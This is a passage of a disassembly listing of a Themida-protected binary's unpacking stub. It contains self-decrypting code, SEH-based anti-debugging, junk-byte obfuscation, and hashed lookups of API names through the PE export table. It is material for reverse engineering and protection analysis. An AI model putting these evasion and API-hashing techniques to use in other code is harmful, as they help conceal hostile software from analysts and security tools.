dd 0AE0A0000h, 2A0054h, 3 dup(0)
dd 9B090000h, 0F9ECh, 7 dup(0)
dd 0FFA40000h, 12h, 3 dup(0)
dd 91110000h, 0FFFF5D38h, 0FFFFh, 0Ch dup(0)
dd 9D390000h, 1C5Dh, 3 dup(0)
dd 0DF140000h, 6F7Ah, 3 dup(0)
dd 1C180000h, 0E00077F4h, 1Dh, 3 dup(0)
dd 0EB000000h, 0
dd 744B0000h, 58h, 5 dup(0)
dd 0C96A0000h, 77D4h, 0
dd 417E0000h, 77E8h, 0
dd 0FA560000h, 8E400A2h, 4 dup(0)
dd 1BF50000h, 6B56h, 7 dup(0)
dd 0CB8A0000h, 54h, 6 dup(0)
dd 263C0000h, 0E332h, 69DD0000h, 0A2h, 0
dd 77F5h, 705D0000h, 417E0000h, 685477E8h, 64696D65h, 61h
dd 1Ch dup(0)
dd 0FFFF0000h, 0FFFFh, 3 dup(0)
dd 0C1B40000h, 3FFFh, 359B0000h, 5Ah, 5 dup(0)
dd 0FEC0000h, 0A37Fh, 0
dd 854C0000h, 58h, 0
dd 51970000h, 0B760h, 3 dup(0)
dd 0F83E0000h, 5 dup(0)
dd 8C0A0000h, 0A2h, 0FFFF0000h, 0FFFFh, 0Ch dup(0)
dd 0FF540000h, 0FFFF0012h, 1Ah dup(0)
dd 840D0000h, 0FF5Ch, 2 dup(0)
dd 3AE40000h, 0EB4FFA4h, 7 dup(0)
dd 92340000h, 0FD0800A2h, 12h, 73160000h, 0A4h, 2 dup(0)
dd 3040000h, 7FFEh, 2Ah dup(0)
dd 21210000h, 2121h, 3 dup(0)
dd 0B80000h, 0
dd 9ABh, 2 dup(0)
dd 40820000h, 4A30h, 5 dup(0)
dd 76CD0000h, 77E7h, 0
dd 0F9F20000h, 4EEFh, 0
dd 31450000h, 268C00A2h, 58h, 7BFA0000h, 8C7h, 2 dup(0)
dd 41240000h, 79B30059h, 5Ah, 5 dup(0)
dd 0CC0000h, 3 dup(0)
dd 36360000h, 3636h, 0
dd 0F08D0000h, 5Bh, 6 dup(0)
dd 230000h, 54h, 230000h, 4 dup(0)
dd 8D530000h, 0A6h, 3040000h, 7FFEh, 0
dd 915B0000h, 0A2h, 0FCFC0000h, 8001h, 980000h, 3 dup(0)
dd 6CD80000h, 3 dup(0)
dd 0BA970000h, 0B34Ah, 4 dup(0)
dd 3040000h, 7FFEh, 0
dd 3040000h, 7FFEh, 3 dup(0)
dd 0F4790000h, 0FFB077BCh, 101F2h, 9 dup(0)
dd 8AC40000h, 18F9h, 0
dd 8, 0Ch dup(0)
dd 0C7850000h, 77E7h, 2 dup(0)
dd 81A80000h, 53D005Bh, 0AB43h, 3 dup(0)
dd 0D80000h, 4 dup(0)
dd 10730000h, 0
dd 33010000h, 0FFA7h, 2 dup(0)
dd 0E90000h, 0F6C60004h, 58h, 3 dup(0)
dd 99B30000h, 0AF2Fh, 3 dup(0)
dd 0A5A10000h, 0BBA1h, 19h dup(0)
dd 3C540000h, 58h, 0
dd 94990000h, 0A2h, 3 dup(0)
dd 70C40000h, 200A2h, 2 dup(0)
dd 2C4C0000h, 3CA5h, 936F0000h, 7E7Ch, 5 dup(0)
dd 40000000h, 3, 3 dup(0)
dd 0E230000h, 202h, 6 dup(0)
dd 4C790000h, 8D8DDFDBh, 0E666h, 0
dd 20000h, 81E50000h, 0CCCA84h, 4BE90000h, 5Dh, 4 dup(0)
dd 5B2D0000h, 0FDA2h, 3 dup(0)
dd 8D9B0000h, 78EFh, 17h dup(0)
dd 0CB810000h, 0FF410057h, 0D4D00057h, 0AE520054h, 54h
dd 9 dup(0)
dd 54AB0000h, 5Ah, 3040000h, 7FFEh, 0
dd 0A0F80000h, 909Fh, 2 dup(0)
dd 2FE80000h, 77E8h, 0DC1B0000h, 22220058h, 22222222h
dd 12222h, 5 dup(0)
dd 76CD0000h, 77E7h, 0
dd 77F5h, 3040000h, 0B1497FFEh, 8E8Dh, 2 dup(0)
dd 0F13A0000h, 4BEFh, 0
dd 0DEBC0000h, 0E92Bh, 3 dup(0)
dd 0A00F0000h, 0A2h, 0
dd 5E340000h, 331Bh, 0E1B30000h, 0B820h, 0
dd 600000h, 2, 5 dup(0)
dd 0B1B30000h, 7FFFh, 0Dh dup(0)
dd 3040000h, 7FFEh, 3 dup(0)
dd 0B3720000h, 59h, 8 dup(0)
dd 0B1340000h, 0A4h, 0
dd 0F07D0000h, 93DA6ADDh, 7E37h, 5 dup(0)
dd 59740000h, 0FB4C8655h, 0F191h, 0
dd 2B790000h, 6080054h, 0FFFCh, 3 dup(0)
dd 705D0000h, 0A2E80000h, 0FFFFh, 6 dup(0)
dd 156777F5h, 0FFA4h, 4 dup(0)
dd 1C870000h, 0FFFFh, 7 dup(0)
dd 6180000h, 77E8h, 2 dup(0)
dd 8F7F0000h, 103DBh, 6 dup(0)
dd 0F80000h, 0B1h, 11110000h, 1111h, 0
dd 0ED830000h, 58h, 3 dup(0)
dd 5FB90000h, 0E59Bh, 705D0000h, 0
dd 8B820000h, 77E7h, 0AE300000h, 2058Ch, 0AFD50000h, 0B21C18CFh
dd 2D0Ah, 4 dup(0)
dd 941C0000h, 57h, 0
dd 0A4C60000h, 40820054h, 4A30h, 919E0000h, 0FFFFh, 0EC0000h
dd 8D8D0000h, 0E327h, 2 dup(0)
dd 2A370000h, 0FFA3h, 0
dd 46D00000h, 14h, 5 dup(0)
dd 0A5720000h, 0FFFFh, 0Eh dup(0)
dd 83000000h, 2 dup(0)
dd 0E6A90000h, 0FFFFh, 4 dup(0)
dd 0C660000h, 77FCh, 0
dd 3040000h, 7FFEh, 0F5660000h, 0FFFFh, 2 dup(0)
dd 204B0000h, 0B1CADB3Bh, 0B0h, 2 dup(0)
dd 6BD70000h, 11E8024Bh, 3 dup(0)
dd 0B6FF0000h, 0F9FFh, 0
dd 0A00F0000h, 0A2h, 705D0000h, 5 dup(0)
dd 9B090000h, 9749F9ECh, 156877E7h, 1F8700A3h, 0D554515Fh
dd 0A1h, 0
dd 0DFE90000h, 0Fh dup(0)
dd 268C0000h, 58h, 0DA440040h, 0C246h, 0
dd 6BD30000h, 24Bh, 0
dd 10000h, 2 dup(0)
dd 77E6h, 0D7060000h, 77E6h, 0D6EB0000h, 13822h, 5 dup(0)
dd 52D10000h, 0D3AAB2FDh, 59h, 4 dup(0)
dd 3040000h, 7FFEh, 0D36B0000h, 9F7D0000h, 72E1h, 0
dd 52D10000h, 0B2FDh, 9 dup(0)
dd 97C90000h, 0D6EB005Bh, 3822h, 2 dup(0)
dd 0B450000h, 63A6h, 0B2120000h, 0A3390054h, 0A5E7005Ch
dd 34E000A6h, 1910h, 0
dd 0FCFC0000h, 158001h, 51E90000h, 3FFFh, 2 dup(0)
dd 0C4860000h, 77E7h, 6 dup(0)
dd 25Dh, 0FCFC0000h, 8001h, 6 dup(0)
dd 20000h, 96880000h, 0FFFFh, 5 dup(0)
dd 21790000h, 0FFBFh, 2 dup(0)
dd 0FFED0000h, 0FDFDh, 2 dup(0)
dd 310E0000h, 79D0h, 0
dd 761A0000h, 77D5h, 17970000h, 8143h, 0
dd 0B7630000h, 0A85F797Fh, 5Ch, 0
dd 4100000h, 3040000h, 7FFEh, 3 dup(0)
dd 10000h, 0FDFF0000h, 0AD0Bh, 2 dup(0)
dd 0A00F0000h, 0A2h, 0C96A0000h, 77D4h, 96230000h, 0FF5Dh
dd 0D8E20000h, 3C28h, 7EEE0000h, 0FFA7h, 3 dup(0)
dd 3040000h, 2A6C7FFEh, 9F19005Ah, 19FFFFh, 7 dup(0)
dd 10000h, 5 dup(0)
dd 0D4D00000h, 20054h, 0Bh dup(0)
dd 8C0A0000h, 0A2h, 0
dd 0FFC40000h, 12h, 8 dup(0)
dd 8B820000h, 77E7h, 3 dup(0)
dd 6CB00000h, 0D6A2h, 10h dup(0)
dd 6CD10000h, 0FFFFh, 10000h, 450C0000h, 0
dd 0EBA60000h, 59h, 0D40000h, 9 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CF3E: ; CODE XREF: Themida_:loc_549A0Dj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 6A8353Bh
mov [ebp+6A83469h], edx
mov [ebp+6A832BDh], esi
mov [ebp+6A8225Dh], eax
cmp dword ptr [ebp+6A81599h], 0
jz short loc_54CF76
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_54CF76: ; CODE XREF: Themida_:0054CF68j
mov eax, [esp+24h]
mov [ebp+6A81F25h], eax
push 45h
call sub_54D02A
push 783749Ah
call sub_54D070
push 0A894B25h
call sub_54D070
jmp loc_54D1B4
; ---------------------------------------------------------------------------
dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54D02A proc near ; CODE XREF: Themida_:0054CF82p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6A83629h
mov ebx, edx
mov [ebp+var_28], 0
loc_54D046: ; CODE XREF: sub_54D02A+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_54D065
mov eax, [ebp+arg_0]
mov [ebx+6A83593h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_54D046
; ---------------------------------------------------------------------------
loc_54D065: ; CODE XREF: sub_54D02A+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_54D02A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54D070 proc near ; CODE XREF: Themida_:0054CF8Cp
; Themida_:0054CF96p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 6A83672h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_54D096: ; CODE XREF: sub_54D070+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_54D096
mov [ebp+var_84], 0
lea edi, [edx+6A83593h]
lea esi, [ebp+var_80]
loc_54D0C6: ; CODE XREF: sub_54D070+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_54D0D2: ; CODE XREF: sub_54D070+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_54D0D2
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_54D0C6
popa
leave
retn 4
sub_54D070 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_54D110
; ---------------------------------------------------------------------------
loc_54D10C: ; CODE XREF: Themida_:0054D113j
inc dword ptr [ebp-4]
inc esi
loc_54D110: ; CODE XREF: Themida_:0054D10Aj
cmp byte ptr [esi], 0
jnz short loc_54D10C
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_54D1A1
; ---------------------------------------------------------------------------
loc_54D122: ; CODE XREF: Themida_:0054D1A4j
mov dword ptr [ebp-8], 0
jmp short loc_54D198
; ---------------------------------------------------------------------------
loc_54D12B: ; CODE XREF: Themida_:0054D19Cj
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_54D185
; ---------------------------------------------------------------------------
loc_54D13B: ; CODE XREF: Themida_:0054D189j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_54D15D
cmp bl, 39h
ja short loc_54D15D
sub bl, 30h
jmp short loc_54D17F
; ---------------------------------------------------------------------------
loc_54D15D: ; CODE XREF: Themida_:0054D151j
; Themida_:0054D156j
cmp bl, 61h
jb short loc_54D16F
cmp bl, 66h
ja short loc_54D16F
sub bl, 61h
add bl, 0Ah
jmp short loc_54D17F
; ---------------------------------------------------------------------------
loc_54D16F: ; CODE XREF: Themida_:0054D160j
; Themida_:0054D165j
cmp bl, 41h
jb short loc_54D17F
cmp bl, 46h
ja short loc_54D17F
sub bl, 41h
add bl, 0Ah
loc_54D17F: ; CODE XREF: Themida_:0054D15Bj
; Themida_:0054D16Dj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_54D185: ; CODE XREF: Themida_:0054D139j
cmp dword ptr [ebp-0Ch], 2
jb short loc_54D13B
cmp dword ptr [ebp-10h], 0
jbe short loc_54D195
mov eax, [ebp-10h]
stosb
loc_54D195: ; CODE XREF: Themida_:0054D18Fj
inc dword ptr [ebp-8]
loc_54D198: ; CODE XREF: Themida_:0054D129j
cmp dword ptr [ebp-8], 2
jb short loc_54D12B
add edx, 4
loc_54D1A1: ; CODE XREF: Themida_:0054D120j
cmp edx, [ebp-4]
jb loc_54D122
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
loc_54D1B4: ; CODE XREF: Themida_:0054CF9Bj
mov ecx, 7000h
lea edi, [ebp+6A837B8h]
loc_54D1BF: ; CODE XREF: Themida_:0054D1C3j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_54D1BF
mov eax, 48692121h
mov edx, 0F00E1000h
sub edx, 0F0000000h
lea eax, [ebp+6A838BDh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
call near ptr loc_54D200+3
scasb
neg byte ptr [ecx-6307A595h]
xchg dh, [edx-54h]
push ds
loc_54D200: ; CODE XREF: Themida_:0054D1F0p
mov ebx, 0D2BB2320h
mov fs, word ptr [eax]
xor [ebx+6Ah], ebx
add [ebp-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 5CDA2EC2h, 0B6EF30C1h, 0C22BA281h, 25D9B70Fh, 0FFFFF000h
dd 0CA0AE4BBh, 33CA8B0Dh, 388166FFh, 0E755A4Dh, 3C50B70Fh
dd 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh, 5
dd 4C48300h, 38D0958Dh, 645206A8h, 35FFh, 89640000h, 25h
dd 2DC10300h, 1000h, 8104708Bh, 0FF0000E6h, 0FE81FFh, 76800000h
dd 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h, 0EE810974h
dd 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h, 44740000h
dd 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch, 0B0A9h
dd 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6A838DBh
lea eax, [ebp+6A83899h]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
pusha
adc si, 4B43h
movzx edi, di
popa
push eax
movsx ebx, bx
pop ebx
mov cx, ds
mov bx, 5806h
and cl, 4
push esi
sub bx, 46CAh
pop ebx
or cl, cl
jnz loc_54D34C
mov dword ptr [ebp+6A8339Dh], 1
add bx, 7893h
jmp loc_54D37E
; ---------------------------------------------------------------------------
mov ebx, 22350228h
loc_54D34C: ; CODE XREF: Themida_:0054D32Dj
mov dword ptr [ebp+6A8339Dh], 0
push 0
push edi
call sub_54D361
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54D361 proc near ; CODE XREF: Themida_:0054D359p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_54D361 endp
; ---------------------------------------------------------------------------
db 9Bh, 0E6h, 0AAh
; ---------------------------------------------------------------------------
xlat
cmp ebx, [edx-58h]
and ebx, 43ED149Bh
loc_54D37E: ; CODE XREF: Themida_:0054D342j
mov [ebp+6A831F9h], eax
jmp loc_54D39A
; ---------------------------------------------------------------------------
db 72h, 4Ah, 10h
dd 75476C62h, 54725ECCh, 0F7B1A3ECh
db 0BCh, 6Bh
; ---------------------------------------------------------------------------
loc_54D39A: ; CODE XREF: Themida_:0054D384j
mov [ebp+6A80F95h], eax
call sub_54D3B5
js short loc_54D3AC
or al, 15h
scasb
sbb dl, [esi]
loc_54D3AC: ; CODE XREF: Themida_:0054D3A5j
test [ebp+7C1819A7h], bh
sal byte ptr [ebp+69h], cl
; =============== S U B R O U T I N E =======================================
sub_54D3B5 proc near ; CODE XREF: Themida_:0054D3A0p
push ebx
xor dx, 42C6h
pop esi
pop ebx
jnp $+6
add ebx, 6A6Fh
sub edi, edi
cmc
loc_54D3CC: ; CODE XREF: sub_54D401:loc_54D490j
mov eax, [ebx+edi]
sbb si, 0B3CCh
add eax, 672A1BFh
sbb esi, 32CACDB2h
xor eax, 456EFF9h
cld
sub eax, 7E52DB5Fh
call sub_54D401
imul esi, [eax+eax*4-47h], 84370F11h
or al, 0CAh
mov eax, 0E30BF395h
sub_54D3B5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_54D401 proc near ; CODE XREF: sub_54D3B5+38p
var_20 = dword ptr -20h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
adc edx, 0B36CEEAh
pop ecx
push eax
jl loc_54D428
jmp loc_54D428
; ---------------------------------------------------------------------------
dd 94F20907h, 0C17DBC7h, 6D7BF80Fh, 0DC237745h, 988A8D6Ah
; ---------------------------------------------------------------------------
loc_54D428: ; CODE XREF: sub_54D401+8j
; sub_54D401+Ej
pop dword ptr [ebx+edi]
push ebx
push eax
jnp $+6
pop edx
pop ecx
pusha
jmp loc_54D44D
; ---------------------------------------------------------------------------
db 0F8h
dd 961FA69h, 0DED75744h, 0D37257B9h, 63E172CDh
db 0BFh
; ---------------------------------------------------------------------------
loc_54D44D: ; CODE XREF: sub_54D401+35j
mov eax, 7D834EEDh
popa
sub edi, 4
mov edx, 30781BB1h
cmp edi, 0FFFF9688h
jnz loc_54D488
jnb loc_54D472
mov ecx, 34D3AD0Ch
loc_54D472: ; CODE XREF: sub_54D401+66j
jmp loc_54D4A0
; ---------------------------------------------------------------------------
xchg eax, ebx
das
dec ebp
db 65h, 64h
aaa
inc ebx
imul eax, [ebx-42B459EDh], 340C6E14h
loc_54D488: ; CODE XREF: sub_54D401+60j
jge loc_54D490
mov ch, 3Bh
loc_54D490: ; CODE XREF: sub_54D401:loc_54D488j
jmp loc_54D3CC
; ---------------------------------------------------------------------------
db 1Ah, 8Eh, 45h
dd 0C5B652Ah, 77914F93h
; ---------------------------------------------------------------------------
loc_54D4A0: ; CODE XREF: sub_54D401:loc_54D472j
jmp short loc_54D4A6
; ---------------------------------------------------------------------------
dw 215h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D4A6: ; CODE XREF: sub_54D401:loc_54D4A0j
jmp loc_54DBA3
; ---------------------------------------------------------------------------
jnp loc_54D4D0
ja loc_54D4D0
jmp loc_54D4D0
; ---------------------------------------------------------------------------
ror dword ptr [eax-67h], 1
lds ebp, [ebp-3CD4A888h]
xor ah, [eax+6FD42942h]
fstp qword ptr [edx+edx*2+27h]
aaa
loc_54D4D0: ; CODE XREF: sub_54D401+AAj
; sub_54D401+B0j ...
pusha
stc
sub eax, eax
sub [ebp+6A83225h], edi
mov edx, [esp+1Ch+arg_8]
sub [ebp+6A826B1h], esi
mov [ebp+6A80E7Dh], eax
pusha
mov ecx, [ebp+6A81B81h]
popa
stc
mov esi, 3Ch
sub [ebp+6A814BDh], edi
add esi, [esp+1Ch+arg_4]
pusha
cld
mov [ebp+6A831D9h], edx
popa
lodsw
or [ebp+6A81691h], edx
add eax, [esp+1Ch+arg_4]
xor [ebp+6A81115h], ecx
push eax
jmp loc_54D529
; ---------------------------------------------------------------------------
db 0F9h
dd 246ABDD9h
; ---------------------------------------------------------------------------
stosb
loc_54D529: ; CODE XREF: sub_54D401+11Dj
mov [esp+20h+var_20], eax
jmp loc_54D539
; ---------------------------------------------------------------------------
db 58h, 71h, 0B5h
dd 5DC6B93Fh
; ---------------------------------------------------------------------------
pushf
loc_54D539: ; CODE XREF: sub_54D401+12Bj
pusha
and cx, 0EE8h
add ecx, [ebp+6A815B1h]
popa
mov eax, [eax+78h]
js loc_54D55B
jge loc_54D55B
jle $+6
loc_54D55B: ; CODE XREF: sub_54D401+148j
; sub_54D401+14Ej
add eax, [esp+24h+arg_0]
jp loc_54D570
pusha
sub [ebp+6A82785h], edi
or al, 23h
popa
loc_54D570: ; CODE XREF: sub_54D401+15Ej
mov eax, [eax+18h]
pusha
call near ptr loc_54D586+2
cdq
push edi
push edx
xor bh, 45h
mov [edx-3A356C47h], edx
nop
loc_54D586: ; CODE XREF: sub_54D401+173p
mov byte ptr [esi], 8Bh
rcr byte ptr [eax+29h], 1
mov ebp, 6A83259h
popa
sub [ebp+6A80CA9h], ecx
inc eax
xor [ebp+6A8168Dh], edi
jno loc_54D5AD
pusha
mov ecx, [ebp+6A82189h]
popa
loc_54D5AD: ; CODE XREF: sub_54D401+19Ej
mov [ebp+6A83A95h], eax
or [ebp+6A8205Dh], esi
pop eax
pusha
sub cx, 9D5h
mov edi, [ebp+6A81125h]
popa
mov esi, [eax+78h]
jge loc_54D5D6
mov [ebp+6A80CF9h], ecx
loc_54D5D6: ; CODE XREF: sub_54D401+1C9j
add esi, 1Ch
pusha
push ebx
mov [ebp+6A80F65h], ecx
pop eax
popa
add esi, [esp+24h]
cld
add [ebp+6A8163Dh], eax
lea edi, [ebp+6A8317Dh]
mov [ebp+6A81E11h], ebx
lodsd
jg loc_54D602
stc
loc_54D602: ; CODE XREF: sub_54D401+1FAj
add eax, [esp+24h]
clc
stosd
ja loc_54D623
jmp loc_54D623
; ---------------------------------------------------------------------------
db 0C8h
dd 1F105DF2h, 81D7F066h, 4C0ACEF1h
; ---------------------------------------------------------------------------
cmp edi, [ecx-4Eh]
loc_54D623: ; CODE XREF: sub_54D401+207j
; sub_54D401+20Dj
lea edi, [ebp+6A81445h]
pusha
mov cx, di
jno loc_54D639
mov [ebp+6A81125h], edi
loc_54D639: ; CODE XREF: sub_54D401+22Cj
popa
jmp loc_54D648
; ---------------------------------------------------------------------------
db 9Ah
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
shr dword ptr [ecx+ebp+2A32FDEEh], cl
loc_54D648: ; CODE XREF: sub_54D401+239j
lodsd
mov [ebp+6A80B5Dh], ecx
add eax, [esp+24h]
jle loc_54D65F
sub [ebp+6A815BDh], esi
loc_54D65F: ; CODE XREF: sub_54D401+252j
pusha
jl loc_54D66C
mov eax, [ebp+6A82975h]
loc_54D66C: ; CODE XREF: sub_54D401+25Fj
or edi, [ebp+6A82B3Dh]
popa
nop
jmp loc_54D683
; ---------------------------------------------------------------------------
test al, 0F0h
pop ecx
les edx, [ecx-0Bh]
pop es
pop ds
xlat
push esi
loc_54D683: ; CODE XREF: sub_54D401+273j
push eax
pusha
pusha
mov dh, bl
call loc_54D695
pop ss
add al, 0B2h
mov ecx, 7773EFF3h
loc_54D695: ; CODE XREF: sub_54D401+287p
pop edi
popa
call loc_54D6AE
lea eax, [ebx+7Fh]
pop esp
hlt
; ---------------------------------------------------------------------------
db 64h, 0E4h, 6
dd 0CDD2C4C4h, 0A0E7CF1Bh
db 0E1h, 0C1h
; ---------------------------------------------------------------------------
loc_54D6AE: ; CODE XREF: sub_54D401+296p
mov bx, ax
pop edi
popa
nop
sub [ebp+6A82E2Dh], esi
stosd
sub [ebp+6A81F8Dh], ecx
jmp loc_54D6D0
; ---------------------------------------------------------------------------
dw 0CD91h
dd 0B3F9EB58h, 9C9D1E36h
; ---------------------------------------------------------------------------
loc_54D6D0: ; CODE XREF: sub_54D401+2C0j
lea edi, [ebp+6A813F9h]
or [ebp+6A8274Dh], ebx
lodsd
jmp loc_54D6EA
; ---------------------------------------------------------------------------
dw 87E3h
dd 48A94F9Bh
; ---------------------------------------------------------------------------
inc ecx
pop ebx
loc_54D6EA: ; CODE XREF: sub_54D401+2DCj
add eax, [esp+28h]
js loc_54D70D
jmp loc_54D70D
; ---------------------------------------------------------------------------
db 73h, 87h, 6Bh
dd 5D48F578h, 75B0A53Eh, 2CD634Fh, 2C4657EDh
; ---------------------------------------------------------------------------
inc ebx
loc_54D70D: ; CODE XREF: sub_54D401+2EDj
; sub_54D401+2F3j
stosd
mov [ebp+6A82551h], edi
pop esi
clc
loc_54D716: ; CODE XREF: sub_54D401+3A1j
dec dword ptr [ebp+6A83A95h]
cmp dword ptr [ebp+6A83A95h], 0
jnz short loc_54D735
mov [esp+10h+arg_8], 0
lea esi, [ebp+6A83F6Ch]
jmp esi
; ---------------------------------------------------------------------------
loc_54D735: ; CODE XREF: sub_54D401+322j
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+6A815D5h]
test al, al
jz short loc_54D74C
cmp al, [edi]
jnz short loc_54D798
loc_54D74C: ; CODE XREF: sub_54D401+345j
push edi
xor al, al
loc_54D74F: ; CODE XREF: sub_54D401+34Fj
scasb
jnz short loc_54D74F
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_54D75C: ; CODE XREF: sub_54D401+384j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_54D76B: ; CODE XREF: sub_54D401+37Dj
shr bx, 1
rcr ax, 1
jnb short loc_54D77C
xor ax, 5041h
xor bx, 5449h
loc_54D77C: ; CODE XREF: sub_54D401+370j
dec dh
jnz short loc_54D76B
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_54D75C
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_54D7A7
loc_54D798: ; CODE XREF: sub_54D401+349j
pop esi
add esi, 4
inc dword ptr [ebp+6A80E7Dh]
jmp loc_54D716
; ---------------------------------------------------------------------------
loc_54D7A7: ; CODE XREF: sub_54D401+395j
pop esi
jz loc_54D7B4
mov [ebp+6A81EF5h], ecx
loc_54D7B4: ; CODE XREF: sub_54D401+3A7j
mov [ebp+6A819CDh], edx
jmp loc_54D7D0
; ---------------------------------------------------------------------------
db 3Eh
dd 191E1A26h, 3041EF11h, 0D7FE796Fh, 0B343212Fh
; ---------------------------------------------------------------------------
loc_54D7D0: ; CODE XREF: sub_54D401+3B9j
mov eax, [ebp+6A80E7Dh]
jmp loc_54D7E2
; ---------------------------------------------------------------------------
db 31h
dd 0D9AF48D7h
db 0DBh, 31h
; ---------------------------------------------------------------------------
loc_54D7E2: ; CODE XREF: sub_54D401+3D5j
shl eax, 1
cmc
add eax, [ebp+6A813F9h]
mov [ebp+6A82649h], eax
mov esi, 0
stc
xchg eax, esi
jle loc_54D805
jnb loc_54D805
clc
loc_54D805: ; CODE XREF: sub_54D401+3F7j
; sub_54D401+3FDj
mov [ebp+6A826CDh], esi
lodsw
add [ebp+6A82601h], ecx
shl eax, 2
sub [ebp+6A805EDh], esi
add eax, [ebp+6A8317Dh]
mov [ebp+6A80695h], ecx
xchg eax, esi
stc
lodsd
sub [ebp+6A83149h], edx
mov ecx, [esp+24h]
jmp loc_54D83F
; ---------------------------------------------------------------------------
pop es
push eax
add [edx], dh
dec edi
loc_54D83F: ; CODE XREF: sub_54D401+434j
add eax, [esp+24h]
mov [ebp+6A80589h], eax
mov [esp+10h+arg_8], eax
js loc_54D85F
jz loc_54D85F
add [ebp+6A81BCDh], esi
loc_54D85F: ; CODE XREF: sub_54D401+44Cj
; sub_54D401+452j
xchg eax, esi
xor [ebp+6A8277Dh], edi
lodsb
jge loc_54D86E
clc
loc_54D86E: ; CODE XREF: sub_54D401+466j
xor cl, cl
or [ebp+6A80ADDh], esi
jmp loc_54D88C
; ---------------------------------------------------------------------------
db 0B4h
dd 0EEF6BDCDh, 0DF88DF4Ch, 12969294h, 36DF1AA1h
; ---------------------------------------------------------------------------
loc_54D88C: ; CODE XREF: sub_54D401+475j
inc cl
jmp loc_54D8A5
; ---------------------------------------------------------------------------
db 86h
dd 0FDC04751h, 4D46A6A4h, 0C6AD516h, 6911EB70h
; ---------------------------------------------------------------------------
icebp
loc_54D8A5: ; CODE XREF: sub_54D401+48Dj
; sub_54D401+4F1j
rcl al, 1
jnb loc_54D979
mov [ebp+6A83361h], eax
rcl al, 1
jnb loc_54D979
mov [ebp+6A80AADh], esi
rcl al, 1
jb loc_54D979
clc
jl loc_54D8D6
sub [ebp+6A819A9h], esi
loc_54D8D6: ; CODE XREF: sub_54D401+4C9j
rcl al, 1
jb loc_54D979
jmp loc_54D8F0
; ---------------------------------------------------------------------------
db 80h
dd 7C39E4FDh, 22BA08FDh, 0B33EC3D7h
; ---------------------------------------------------------------------------
